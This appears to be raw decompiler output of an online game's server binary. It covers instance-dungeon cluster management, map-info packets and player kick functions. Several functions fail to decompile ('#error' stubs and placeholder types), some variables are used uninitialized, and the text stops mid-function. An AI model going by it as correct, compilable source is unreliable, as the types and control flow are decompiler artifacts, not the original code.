MapClusterManager::ClusterManager::AddInstanceDungeonCluster(MapClusterManager::ClusterManager *this, const char *ClientMapName, int Index) { MapClusterManager::ClusterManager *v3; // esi@1 signed int v4; // eax@1 char *v5; // ecx@1 int v7; // edi@5 void *v8; // eax@8 int v9; // eax@9 char v10; // al@12 int v11; // ecx@13 v3 = this; v4 = 0; v5 = (char *)this->Clusters; while ( *(_DWORD *)v5 ) { ++v4; v5 += 4; if ( v4 >= 50 ) return 0; } v7 = v3->baseclass_0.l_Finger.empty; if ( (_WORD)v7 == -1 ) LOWORD(v7) = (_WORD)ClientMapName; else v3->baseclass_0.vfptr->l_AllocZ((List *)v3, v7); v8 = operator new(0x9814u); if ( v8 ) MapClusterManager::MapCluster::MapCluster((MapClusterManager::MapCluster *)v8, (char *)ClientMapName); else v9 = 0; if ( (unsigned __int16)v7 < (signed int)v3->baseclass_0.l_MaxSize ) { v11 = (int)&v3->baseclass_0.l_Array[(unsigned __int16)v7]; if ( *(_DWORD *)v11 ) { v10 = 0; } else { *(_DWORD *)v11 = v9; v10 = 1; } } else { v10 = 0; } if ( !v10 ) { AssertClass::ac_AssertFail( &shineassert, "MapClusterManager::ClusterManager::AddInstanceDungeonCluster : Cannot Add", Index); ShineExit("MapClusterManager::ClusterManager::AddInstanceDungeonCluster"); } return 1; } //----- (00473E90) -------------------------------------------------------- #error "473E90: undefined or illegal type '#1265' (funcsize=165)" //----- (004740F0) -------------------------------------------------------- #error "4740F0: undefined or illegal type '#1265' (funcsize=74)" //----- (00474220) -------------------------------------------------------- char __thiscall MapClusterManager::MapCluster::mc_ChangeCategory(MapClusterManager::MapCluster *this, unsigned int BeforeRegNum, INSTANCE_DUNGEON::CATEGORY BeforeCateroty, unsigned int AfterRegNum, INSTANCE_DUNGEON::CATEGORY AfterCateroty) { MapClusterManager::MapCluster *v5; // esi@1 int v6; // ecx@1 int v7; // eax@1 int v8; // edx@2 char result; // al@6 int v10; // eax@7 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MapClusterNamager::mc_ChangeCategory"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MapClusterNamager::mc_ChangeCategory"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = v5->mc_MapNumber; v7 = 0; if ( v6 <= 0 ) { LABEL_6: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MapClusterNamager::mc_ChangeCategory"); result = 0; } else { v8 = (int)&v5->mc_Map[0].Category; while ( *(_DWORD *)(v8 - 68) != BeforeRegNum || *(_DWORD *)v8 != BeforeCateroty ) { ++v7; v8 += 76; if ( v7 >= v6 ) goto LABEL_6; } v10 = (int)((char *)v5 + 76 * v7); *(_DWORD *)(v10 + 84) = AfterCateroty; *(_DWORD *)(v10 + 16) = AfterRegNum; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MapClusterNamager::mc_ChangeCategory"); result = 1; } return result; } //----- (00474320) -------------------------------------------------------- #error "474320: undefined or illegal type '#593' (funcsize=91)" //----- (00474490) -------------------------------------------------------- void __thiscall FieldMap::fm_KickAll(void *this) { int v1; // esi@1 void *v2; // ecx@1 int aloc; // [sp+8h] [bp-14h]@1 int v4; // [sp+Ch] [bp-10h]@1 int v5; // [sp+18h] [bp-4h]@1 v1 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldMap::fm_KickAll"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldMap::fm_KickAll"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = 0; AxialListIterator::AxialListIterator((AxialListIterator *)&aloc); aloc = (int)KickPlayer::_vftable_; v4 = v1; v2 = *(void **)(v1 + 48); LOBYTE(v5) = 1; ShineObjectClass::ShineObject::so_AllInMap(v2, (int)&aloc, 1); LOBYTE(v5) = 0; aloc = (int)KickPlayer::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&aloc); --funcallanalizer.fca_stackpoint; v5 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_KickAll"); } // 644B08: using guessed type int (__stdcall *KickPlayer___vftable_[2])(int, int, int distancesquar); //----- (00474560) -------------------------------------------------------- char __thiscall FieldMap::fm_Exist(void *this, int Flag) { void *v2; // esi@1 void *v3; // ecx@1 char v4; // bl@1 int (__stdcall **aloc)(int, int, int); // [sp+Ch] [bp-18h]@1 int v7; // [sp+10h] [bp-14h]@1 char v8; // [sp+14h] [bp-10h]@1 int v9; // [sp+20h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldMap::fm_Exist"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldMap::fm_Exist"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v9 = 0; AxialListIterator::AxialListIterator((AxialListIterator *)&aloc); aloc = &IsAnybody::_vftable_; v7 = Flag; v8 = 0; v3 = (void *)*((_DWORD *)v2 + 12); LOBYTE(v9) = 1; ShineObjectClass::ShineObject::so_AllInMap(v3, (int)&aloc, 1); v4 = v8; LOBYTE(v9) = 0; aloc = &IsAnybody::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&aloc); --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_Exist"); return v4; } // 644B0C: using guessed type int (__stdcall *IsAnybody___vftable_)(int, int, int distancesquar); //----- (00474640) -------------------------------------------------------- void __thiscall ZoneListenSession::zls_NC_CHAR_EMPTY_INSTANCE_DUNGEON_RNG(ZoneListenSession *this, NETCOMMAND *netcmd) { ZoneListenSession *v2; // ebx@1 char *v3; // ecx@2 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ZoneListenSession::zls_NC_CHAR_EMPTY_INSTANCE_DUNGEON_RNG"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneListenSession::zls_NC_CHAR_EMPTY_INSTANCE_DUNGEON_RNG"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !ZoneListenSession::zls_TravelComplete(v2, (ZONERINGLINKAGESTART *)&netcmd[1]) ) { ZoneRingPacketEmtpyInstanceDungeon::zrpb_Success(&zonringpack_emptyinstancedungeon, 0, netcmd); v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = netcmd->protocol; *(_DWORD *)(v3 + 2) = *(_DWORD *)&netcmd[1].protocol; *(_DWORD *)(v3 + 6) = *(_DWORD *)&netcmd[3].protocol; *((_WORD *)v3 + 5) = netcmd[5].protocol; v3[12] = LOBYTE(netcmd[6].protocol); ZoneConnectSession::zcs_Send(&zoneconnect, &gpp, 13); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ZoneListenSession::zls_NC_CHAR_EMPTY_INSTANCE_DUNGEON_RNG"); } //----- (00474730) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_INSTANCE_DUNGEON_DELETE_DUNGEON_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 unsigned int v5; // ST30_4@4 unsigned __int16 v6; // ax@4 unsigned __int16 v7; // ax@5 CParty::PARTY_SLOT *v8; // eax@5 int v9; // edx@7 unsigned __int16 v10; // ax@7 const char *v11; // ST18_4@7 CharModeClassifier v12; // ST10_2@7 const char *v13; // ST08_4@7 const char *v14; // eax@7 void *v15; // eax@7 void *v16; // eax@7 void *v17; // eax@7 int v18; // [sp+4h] [bp-ECh]@1 int v19; // [sp+8h] [bp-E8h]@7 FunctionEntarance _; // [sp+Ch] [bp-E4h]@1 int smayes; // [sp+10h] [bp-E0h]@7 int v22; // [sp+14h] [bp-DCh]@7 ServerMenuArgument smano; // [sp+78h] [bp-78h]@7 unsigned int v24; // [sp+E0h] [bp-10h]@1 int v25; // [sp+ECh] [bp-4h]@1 v4 = this; v24 = (unsigned int)&v18 ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_INSTANCE_DUNGEON_DELETE_DUNGEON_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_INSTANCE_DUNGEON_DELETE_DUNGEON_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_INSTANCE_DUNGEON_DELETE_DUNGEON_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v25 = 0; if ( !(_S4_0 & 1) ) { _S4_0 |= 1u; cmc_53.cmc_AllowMode = 118; atexit(_E5_50); } if ( (1 << **((_BYTE **)v4 + 892)) & cmc_53.cmc_AllowMode ) { v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1356))(v4); if ( CParty::IsPartyMaster(&partycontainer, v6, v5) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1356))(v4); v8 = CParty::operator__(&partycontainer, v7); if ( v8 ) { if ( v8->dungeonExpiredInfo._isCountdown ) { v9 = *(_DWORD *)v4; smayes = v8->dungeonExpiredInfo._category; v10 = (*(int (__thiscall **)(void *))(v9 + 1356))(v4); LOWORD(v18) = 78; v22 = v10; LOWORD(v19) = 118; v11 = ShineScript::ss_String(&shinescriptetc, "No"); v12.cmc_AllowMode = v19; v13 = ShineScript::ss_String(&shinescriptetc, "Yes"); v14 = ShineScript::ss_String(&shinescriptmenusting, "ID_DeleteNow"); v15 = ShineObjectClass::ShinePlayer::sp_ServerMenuTitle(v4, v14); v16 = ShineObjectClass::ShinePlayer::sp_ServerMenuItem( v15, ServerMenuFuncter::smfm_DeleteInstanceDungeon, v13, (ServerMenuArgument *)&smayes, v12); v17 = ShineObjectClass::ShinePlayer::sp_ServerMenuItem( v16, ServerMenuFuncter::smfm_Cancel, v11, &smano, (CharModeClassifier)78); ShineObjectClass::ShinePlayer::sp_ServerMenuOpen(v17, 0, -1, 0, 1000); } } } } --funcallanalizer.fca_stackpoint; v25 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_INSTANCE_DUNGEON_DELETE_DUNGEON_REQ"); __security_check_cookie((unsigned int)&v18 ^ v24); } //----- (00474930) -------------------------------------------------------- char __thiscall MapClusterManager::ClusterManager::cm_ChangeCategory(MapClusterManager::ClusterManager *this, unsigned int BeforeRegNum, INSTANCE_DUNGEON::CATEGORY BeforeCateroty, unsigned int AfterRegNum, INSTANCE_DUNGEON::CATEGORY AfterCateroty) { MapClusterManager::ClusterManager *v5; // esi@1 int v6; // eax@1 ListStruct *v7; // ecx@1 unsigned __int16 v8; // ax@1 int v9; // edx@1 unsigned __int16 v10; // di@2 int v11; // eax@3 MapClusterManager::MapCluster *v12; // eax@4 v5 = this; v6 = this->baseclass_0.l_Finger.store; v7 = this->baseclass_0.l_Array; v8 = v7[v6].ls_Next; v9 = 3 * v8; while ( 1 ) { v10 = v7[4 * v9 / 0xCu].ls_Next; if ( v8 < v5->baseclass_0.l_MaxSize ) { v11 = (int)&v5->baseclass_0.l_Array[v8]; if ( *(_BYTE *)(v11 + 8) ) { v12 = *(MapClusterManager::MapCluster **)v11; if ( v12 ) MapClusterManager::MapCluster::mc_ChangeCategory( v12, BeforeRegNum, BeforeCateroty, AfterRegNum, AfterCateroty); } } if ( v10 >= v5->baseclass_0.l_MaxSize ) break; v9 = 3 * v10; v7 = v5->baseclass_0.l_Array; v8 = v10; } return 1; } //----- (004749B0) -------------------------------------------------------- char __thiscall FieldContainer::fc_Get_MID_MapInfo(FieldContainer *this, PROTO_NC_MID_GET_MAP_INFO_REQ *pReq) { char *v2; // esi@1 int v3; // ebp@1 int v4; // ebx@1 PROTO_NC_MID_GET_MAP_INFO_REQ *v5; // edi@2 unsigned int v6; // eax@3 char *v7; // eax@3 char *v8; // ST14_4@3 FieldOption *v9; // eax@3 FieldOption::FieldAttr *v10; // ebp@3 int v11; // esi@4 int v12; // ST14_4@4 unsigned int v13; // ST10_4@4 char *v14; // ST0C_4@4 FieldOption *v15; // eax@4 ZoneBaseSession *v16; // eax@9 signed int i; // [sp+10h] [bp-18h]@1 char *nc; // [sp+14h] [bp-14h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldContainer::fc_Get_MID_MapInfo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldContainer::fc_Get_MID_MapInfo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = gpp.pp_Buffer; v3 = 0; *(_WORD *)gpp.pp_Buffer = -16382; *((_WORD *)v2 + 1) = 0; v4 = 0; nc = v2; i = 0; if ( pReq->nMapCnt ) { v5 = pReq + 5; do { v6 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v6; v7 = (char *)&namestring + 256 * v6; *(_DWORD *)v7 = *(_DWORD *)&v5[-4].nMapCnt; *((_DWORD *)v7 + 1) = *(_DWORD *)&v5[-2].nMapCnt; v8 = v7; *((_DWORD *)v7 + 2) = *(_DWORD *)&v5->nMapCnt; v7[12] = 0; v9 = FieldContainer::fc_GetFieldOption(&fieldlist); v10 = FieldOption::fo_GetFieldAttr(v9, v8); if ( v10 ) { v11 = (int)&v2[22 * (unsigned __int16)v4 + 2]; *(_DWORD *)(v11 + 2) = *(_DWORD *)&v5[-4].nMapCnt; *(_DWORD *)(v11 + 6) = *(_DWORD *)&v5[-2].nMapCnt; *(_DWORD *)(v11 + 10) = *(_DWORD *)&v5->nMapCnt; strncpy((char *)(v11 + 14), v10->subfrom, 4u); strncpy((char *)(v11 + 18), v10->subto, 4u); v12 = ZoneServer::zs_worlddata(&zoneserver)->nZoneNo; v13 = v10->serial; v14 = ZoneServer::zs_GetServerGroup(&zoneserver); v15 = FieldContainer::fc_GetFieldOption(&fieldlist); *(_WORD *)(v11 + 22) = FieldOption::fo_GetMechineNumber(v15, v14, v13, v12); v2 = nc; ++v4; } v5 += 6; ++i; } while ( i < pReq->nMapCnt ); v3 = 0; } *((_WORD *)v2 + 1) = v4; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 22 * (unsigned __int16)v4 + 4) == v3 ) { AssertClass::ac_AssertFail( &shineassert, "FieldContainer::fc_Get_MID_MapInfo : Packet Too Long", 22 * (unsigned __int16)v4 + 4); } else { v16 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v16); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldContainer::fc_Get_MID_MapInfo"); return 1; } //----- (00474B90) -------------------------------------------------------- char __thiscall FieldContainer::fc_Set_MID_Map(FieldContainer *this, PROTO_NC_MID_MID_MAP_NAME_CMD *pCmd) { signed int v2; // ebp@1 PROTO_NC_MID_MID_MAP_NAME_CMD *v3; // esi@2 unsigned int v4; // eax@3 char *v5; // eax@3 int v6; // eax@3 int v7; // edi@3 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldContainer::fc_Set_MID_Map"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldContainer::fc_Set_MID_Map"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = 0; if ( pCmd->nMapCnt ) { v3 = pCmd + 6; do { v4 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v4; v5 = (char *)&namestring + 256 * v4; *(_DWORD *)v5 = *(_DWORD *)&v3[-4].nMapCnt; *((_DWORD *)v5 + 1) = *(_DWORD *)&v3[-2].nMapCnt; *((_DWORD *)v5 + 2) = *(_DWORD *)&v3->nMapCnt; v5[12] = 0; v6 = (int)FieldContainer::fc_FindMap(&fieldlist, v5); v7 = v6; if ( v6 ) { FieldMap::fm_Set_MIDMap(v6); FieldMap::fm_Set_MIDMaxUser(v7, v3[-5].nMapCnt); } ++v2; v3 += 7; } while ( v2 < pCmd->nMapCnt ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldContainer::fc_Set_MID_Map"); return 1; } //----- (00474C90) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_MID_MID_MAP_REWARD_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MID_MID_MAP_REWARD_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_MID_MID_MAP_REWARD_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; MIDRewardDataBox::midrdb_RewardSetting(&midreward, (PROTO_NC_MID_MID_MAP_REWARD_CMD *)&netcmd[1]); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MID_MID_MAP_REWARD_CMD"); } //----- (00474D30) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_MID_LINKTO_MID_IN_REQ(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { signed int v3; // ebp@1 unsigned int v4; // eax@1 char *v5; // eax@1 int v6; // edx@1 unsigned __int16 v7; // ax@1 MapInfo *v8; // eax@1 int v9; // edx@3 int v10; // ecx@3 int v11; // edx@3 bool v12; // zf@3 int v13; // ecx@4 unsigned __int16 v14; // ax@6 unsigned int v15; // edx@7 int v16; // esi@7 int v17; // eax@10 int v18; // ebp@10 int v19; // ebx@10 int v20; // eax@10 int v21; // ecx@10 int v22; // edx@10 int v23; // eax@10 char *v24; // eax@11 NETCOMMAND *v25; // edx@11 int v26; // ecx@11 void *v27; // ecx@11 ZoneBaseSession *v28; // eax@13 bool v29; // cf@14 unsigned int v30; // eax@16 char *v31; // eax@16 int v32; // ebx@16 int v33; // esi@17 char *v34; // [sp-4h] [bp-B0h]@2 __int16 i; // [sp+10h] [bp-9Ch]@1 MapInfo *mapinf; // [sp+14h] [bp-98h]@1 NETCOMMAND *v37; // [sp+18h] [bp-94h]@7 FunctionEntarance _; // [sp+1Ch] [bp-90h]@1 int v39; // [sp+28h] [bp-84h]@10 int v40; // [sp+2Ch] [bp-80h]@10 int v41; // [sp+30h] [bp-7Ch]@10 char lnkinf; // [sp+34h] [bp-78h]@10 int v43; // [sp+48h] [bp-64h]@3 int v44; // [sp+4Ch] [bp-60h]@3 int v45; // [sp+50h] [bp-5Ch]@3 char v46; // [sp+54h] [bp-58h]@3 int v47; // [sp+69h] [bp-43h]@3 int v48; // [sp+6Dh] [bp-3Fh]@3 int v49; // [sp+71h] [bp-3Bh]@3 char v50; // [sp+75h] [bp-37h]@3 unsigned int v51; // [sp+8Ah] [bp-22h]@4 unsigned int v52; // [sp+8Eh] [bp-1Eh]@4 unsigned int v53; // [sp+9Ch] [bp-10h]@1 int v54; // [sp+A8h] [bp-4h]@1 v53 = (unsigned int)&i ^ __security_cookie; _.fe_FunctionCode = "WorldManagerSession::wms_NC_MID_LINKTO_MID_IN_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MID_LINKTO_MID_IN_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_MID_LINKTO_MID_IN_REQ"; v3 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v4; v5 = (char *)&namestring + 256 * v4; *(_DWORD *)v5 = *(_DWORD *)&netcmd[7].protocol; *((_DWORD *)v5 + 1) = *(_DWORD *)&netcmd[9].protocol; v6 = *(_DWORD *)&netcmd[11].protocol; v54 = 0; *((_DWORD *)v5 + 2) = v6; v5[12] = 0; v7 = MapDataBox::mdb_2mapid(&mapdatabox, v5); v8 = MapDataBox::operator__(&mapdatabox, v7); mapinf = v8; if ( v8 ) { v9 = *(_DWORD *)&netcmd[3].protocol; v43 = *(_DWORD *)&netcmd[1].protocol; v45 = *(_DWORD *)&netcmd[5].protocol; v10 = *(_DWORD *)&netcmd[9].protocol; v44 = v9; v11 = *(_DWORD *)&netcmd[7].protocol; v48 = v10; v12 = *(_DWORD *)&netcmd[13].protocol == 1; v47 = v11; v49 = *(_DWORD *)&netcmd[11].protocol; v50 = 0; v46 = 0; if ( v12 ) { v13 = *(_DWORD *)&netcmd[17].protocol; v51 = *(_DWORD *)&netcmd[15].protocol; v52 = v13; } else { v51 = v8->RegenX; v52 = v8->RegenY; } v14 = 0; v12 = netcmd[19].protocol == 0; *(_DWORD *)&i = 0; if ( !v12 ) { do { v15 = *(_DWORD *)&netcmd[2 * v14 + 20].protocol; v37 = &netcmd[2 * v14 + 20]; v16 = (int)ShineObjectManager::som_FindPlayer(&shineobjmanager, v15); if ( v16 ) { if ( !(unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v16 + 768))(v16) ) { if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v16 + 2688))(v16) ) { v17 = ShineObjectClass::ShineObject::so_CurMapname(v16); v18 = *(_DWORD *)v17; v19 = *(_DWORD *)(v17 + 4); v39 = *(_DWORD *)(v17 + 8); v20 = ShineObjectClass::ShineObject::so_mob_LastHittedLocation(v16); v21 = *(_DWORD *)v20; v22 = *(_DWORD *)(v20 + 4); v23 = *(_DWORD *)v16; v40 = v21; v41 = v22; if ( (unsigned __int8)(*(int (__thiscall **)(int, char *, signed int, signed int, signed int))(v23 + 1528))( v16, &lnkinf, 6, 9, 10) == 1 ) { v24 = gpp.pp_Buffer; v25 = v37; *(_WORD *)gpp.pp_Buffer = -16348; *(_DWORD *)(v24 + 2) = *(_DWORD *)&v25->protocol; v26 = v39; *(_DWORD *)(v24 + 6) = v18; *(_DWORD *)(v24 + 10) = v19; *(_DWORD *)(v24 + 14) = v26; *(_DWORD *)(v24 + 18) = v40; *(_DWORD *)(v24 + 22) = v41; v27 = (void *)mapinf; *(_DWORD *)(v24 + 26) = mapinf->RegenX; *(_DWORD *)(v24 + 30) = *(_DWORD *)((char *)v27 + 50); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 34) ) { v28 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v28); } else { AssertClass::ac_AssertFail( &shineassert, "WorldManagerSession::wms_NC_MID_LINKTO_MID_IN_REQ : Packet Too Long", 34); } } } } } v14 = i + 1; v29 = (unsigned __int16)(i + 1) < netcmd[19].protocol; ++*(_DWORD *)&i; } while ( v29 ); v3 = -1; } v30 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v30; v31 = (char *)&namestring + 256 * v30; *(_DWORD *)v31 = *(_DWORD *)&netcmd[1].protocol; *((_DWORD *)v31 + 1) = *(_DWORD *)&netcmd[3].protocol; *((_DWORD *)v31 + 2) = *(_DWORD *)&netcmd[5].protocol; v31[12] = 0; v32 = (int)FieldContainer::fc_FindMap(&fieldlist, v31); if ( v32 ) { v33 = 0; if ( netcmd[19].protocol ) { do FieldMap::fm_Insert_MIDLinkToIPlayerList(v32, *(_DWORD *)&netcmd[2 * (unsigned __int16)v33++ + 20].protocol); while ( (unsigned __int16)v33 < netcmd[19].protocol ); } } v34 = "WorldManagerSession::wms_NC_MID_LINKTO_MID_IN_REQ"; } else { v34 = "WorldManagerSession::wms_NC_MID_LINKTO_MID_IN_REQ"; } --funcallanalizer.fca_stackpoint; v54 = v3; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v34); __security_check_cookie((unsigned int)&i ^ v53); } //----- (00475040) -------------------------------------------------------- #error "475040: undefined or illegal type '#593' (funcsize=150)" //----- (00475250) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_SendMIDCharMapPosInfoCmd(int this) { int v1; // edi@1 int v2; // eax@2 char *v3; // esi@3 int v4; // eax@3 ZoneBaseSession *v5; // eax@5 v1 = this; if ( ShineObjectClass::ShineObject::so_CurMapname(this) ) { v2 = ShineObjectClass::ShineObject::so_CurMapname(v1); if ( FieldMap::fm_Get_IsMIDMap(v2) ) { v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -16343; *(_DWORD *)(v3 + 2) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 836))(v1); v4 = ShineObjectClass::ShineObject::so_mob_LastHittedLocation(v1); *(_DWORD *)(v3 + 6) = *(_DWORD *)v4; *(_DWORD *)(v3 + 10) = *(_DWORD *)(v4 + 4); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 14) ) { v5 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v5); } else { AssertClass::ac_AssertFail(&shineassert, "WholeSaver::ws_save2DB-SendMIDCharMapPosInfo : Packet Too Long", 14); } } } } //----- (004752E0) -------------------------------------------------------- #error "4752E0: undefined or illegal type '#1265' (funcsize=15)" //----- (00475310) -------------------------------------------------------- #1265 *__thiscall MapClusterManager::ClusterManager::cm_FindExistByRegnum(MapClusterManager::ClusterManager *this, const char *clientmapname, unsigned int RegisterNumber, INSTANCE_DUNGEON::CATEGORY Category, unsigned __int16 *Err) { List *v5; // esi@1 #1265 *v6; // esi@1 int v7; // eax@2 int v8; // eax@2 #1265 *result; // eax@5 int (__stdcall **finder)(int, __int16); // [sp+Ch] [bp-1Ch]@1 INSTANCE_DUNGEON::CATEGORY v11; // [sp+10h] [bp-18h]@1 unsigned int v12; // [sp+14h] [bp-14h]@1 int v13; // [sp+18h] [bp-10h]@1 int v14; // [sp+24h] [bp-4h]@1 v5 = (List *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MapClusterManager::ClusterManager::cm_FindExistByRegnum"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MapClusterManager::ClusterManager::cm_FindExistByRegnum"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v14 = 0; finder = FindExistDungeon::_vftable_; v11 = Category; v12 = RegisterNumber; v13 = 0; LOBYTE(v14) = 1; List::l_4AllInList(v5, (ListIteratorDefault *)&finder); v6 = (#1265 *)v13; if ( v13 ) { v7 = VectorClass::VectorWithLength::vwl_GetLength(v13); strncmp((char *)v7, (char *)clientmapname, 0xCu); v14 = -1; finder = &ListIteratorDefault::_vftable_; if ( v8 ) *Err = 4; else *Err = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MapClusterManager::ClusterManager::cm_FindExistByRegnum"); result = v6; } else { *Err = 2; --funcallanalizer.fca_stackpoint; finder = &ListIteratorDefault::_vftable_; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MapClusterManager::ClusterManager::cm_FindExistByRegnum"); result = 0; } return result; } // 64292C: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); // 644EE4: using guessed type int (__stdcall *FindExistDungeon_MapClusterManager__MapCluster____vftable_[2])(int ele, __int16 handle); //----- (00475450) -------------------------------------------------------- void __thiscall MapClusterManager::ClusterManager::cm_DeleteInstanceDungeon(MapClusterManager::ClusterManager *this, INSTANCE_DUNGEON::CATEGORY Category, unsigned int RegisterNumber, bool playerCheck) { int (__stdcall **Eraser)(int, __int16); // [sp+0h] [bp-1Ch]@1 INSTANCE_DUNGEON::CATEGORY v5; // [sp+4h] [bp-18h]@1 unsigned int v6; // [sp+8h] [bp-14h]@1 bool v7; // [sp+Ch] [bp-10h]@1 int v8; // [sp+18h] [bp-4h]@1 v5 = Category; Eraser = &DeleteDungeon::_vftable_; v6 = RegisterNumber; v7 = playerCheck; v8 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&Eraser); } // 644EE8: using guessed type int (__stdcall *DeleteDungeon_MapClusterManager__MapCluster____vftable_)(int ele, __int16 handle); //----- (004754B0) -------------------------------------------------------- #error "4754B0: undefined or illegal type '#1265' (funcsize=60)" //----- (00475580) -------------------------------------------------------- void __thiscall MapClusterManager::MapCluster::mc_DeleteInstanceDungeon(MapClusterManager::MapCluster *this, unsigned int RegisterNumber, INSTANCE_DUNGEON::CATEGORY Cateroty, bool playerCheck) { MapClusterManager::MapCluster *v4; // esi@1 unsigned int v5; // edx@1 int v6; // ebx@2 int v7; // ecx@5 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MapClusterNamager::mc_DeleteInstanceDungeon"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MapClusterNamager::mc_DeleteInstanceDungeon"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = 0; if ( LOWORD(v4->mc_MapNumber) ) { v6 = v4->mc_MapNumber; while ( 1 ) { if ( v4->mc_Pointer >= v6 ) v4->mc_Pointer = 0; v7 = (int)((char *)v4 + 76 * v4->mc_Pointer); if ( *(_DWORD *)(v7 + 16) == RegisterNumber ) { if ( *(_DWORD 